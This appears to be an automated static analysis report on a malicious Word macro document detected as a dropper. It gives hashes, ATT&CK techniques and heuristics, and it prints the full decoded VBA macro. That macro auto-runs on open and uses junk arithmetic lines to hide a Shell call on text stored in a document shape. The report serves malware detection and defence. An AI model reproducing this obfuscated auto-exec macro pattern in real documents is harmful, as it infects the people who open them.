Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fd2d35545bd7e6d6…

MALICIOUS

Office (OLE)

77.2 KB Created: 2018-11-09 13:06:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: baea3d39f2069759d004086c6c70a448 SHA-1: 04a41d4f98e2d03be5cd14220c3428d357ef95da SHA-256: fd2d35545bd7e6d6bbd51b742fc7f71baa16cb2aefd56a90da6b912199ea10f9
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The file contains a VBA macro that triggers on document open, utilizing the Shell() function to execute a command. This command appears to construct and run a PowerShell command, indicated by the 'SC_STR_POWERSHELL' heuristic and the presence of 'cmd.exe /c' in the document body. The macro's intent is to download and execute a second-stage payload, as suggested by the 'Doc.Dropper.Prince-6923163-0' ClamAV detection and the 'OLE_VBA_SHELL' heuristic. The specific command construction is obfuscated but points to dynamic payload retrieval.

Heuristics 8

  • ClamAV: Doc.Dropper.Prince-6923163-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Prince-6923163-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
       FormatNumber DnrVa + UURdi + pZSnq + kdGwCi * nPFjV + OaCkz + Ibjifd + lpJwP
TmwpHkQustK = VBA.Shell(Shapes(jDPSK + tAvQCib + 1 + iCPFWD + wZvjlf).TextFrame.TextRange.Text + IAAiq + dRPpb, PnUoiCsciGL)
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2355 bytes
SHA-256: 88303abffa1d585958bef878663f7524a43865a1038f758a4be0c283cbf45f34
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "njoktEkEwprpu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function GEUciTEPRiz()
On Error Resume Next
Const PnUoiCsciGL = 690563030 - 690563030
   TimeValue (OdfSu + itYop + rvCUim + FjlGBQ / (CIpXOt + vOQou))
   FormatNumber qUNsIQ + VYYuN * (QUnVj + rEwzn + nwrsuO + omcdC - (DAuCPz + XiPVjf))
   TimeValue DwsXu + mYhXbb + PviNii + wQdLQ - (XoYuk + fqXBUJ)
   FormatNumber (wvJvHk + UmpOo + UPjnoT + iJEvb / dwKdR + ErKSRH + PanoqT + iEVGWJ / YwprOT + GMKJXZ - DKzRjL + cuUNb + jZbEHH + jvUaDn)
   FormatNumber DnrVa + UURdi + pZSnq + kdGwCi * nPFjV + OaCkz + Ibjifd + lpJwP
TmwpHkQustK = VBA.Shell(Shapes(jDPSK + tAvQCib + 1 + iCPFWD + wZvjlf).TextFrame.TextRange.Text + IAAiq + dRPpb, PnUoiCsciGL)
End Function
Private Sub Document_open()
On Error Resume Next
   TimeValue TzDtls + cmQrd + LKZfz + ZbEwo * jQzLOj + sUuoh / (DAsVS + iQjGh + FuwXEP + PJCbE)
   FormatNumber NQBiJQ + TZHQEO + jbOczt + qJahE * (HzGFqH + mwTsC)
   TimeValue qUltKr + VidCq + kFEIU + Luhbu / vwloGN + cFjbv - (VsmmRW + AMVXMH + PlwIt + MOujhb)
   FormatNumber (wzEcau + SsRksL)
   FormatDateTime (vMosp + ffTRFc - (SXGaw + lsVSC + wLumH + ZIYOi - isczb + oAOllP))
   TimeValue (uvkIX + vQumO + odLVv + HACMzU / LHPIcN + BSGOIu + jKKYp + wpWRsw / wwLiz + aLvfH)
   FormatDateTime VNJLJ + mOjQVU / VOwHqG + iZcAoH + WUwCwj + JtCci / (aSbIS + AdNsjE)
   FormatDateTime (YcGCL + UKmpZz / jnMok + wAliDf + GOwzwj + ZVOYrF - (UKvjz + LkBpmm + wKmzCW + iGMost / hLZoz + wbqqvD))
   FormatNumber wKTnXN + itOhu / (WPKtUt + Xbfit - (jVOIZM + Iwcsb + riAklW + DdTDX + (BYSWi + uritQl + ViYZnS + pCaWq)))
   FormatDateTime YkhQWr + uOjGl + FTzJST + oWVPf / (SMBZoD + iKfBpL / (vAiqwd + KpCSm + OsCPSl + ZwtosD))
   FormatNumber (vnzUG + NonfR - VIXwH + FjmHQ) * (EbawGt + umLOCE + fiADOk + iNRZu)
GEUciTEPRiz
   FormatNumber ObMsi + zkqZW + BEHOfK + RzuIS / jridk + KaPjDA + ObpqM + iNjNTI * FBJQT + ujuJT + GdLAl + DNbvZ
   FormatDateTime nccDiE + zMUAQJ * AnLNB + ufNwtd / aCEBnh + bXDPC
   TimeValue VVXzM + Ybqrn + alWkw + fIBEH * RtTtl + DGQiaT + UfvjVG + vopop / (hqmQN + OzjTh)
   TimeValue (LohsvL + kilkc)
End Sub

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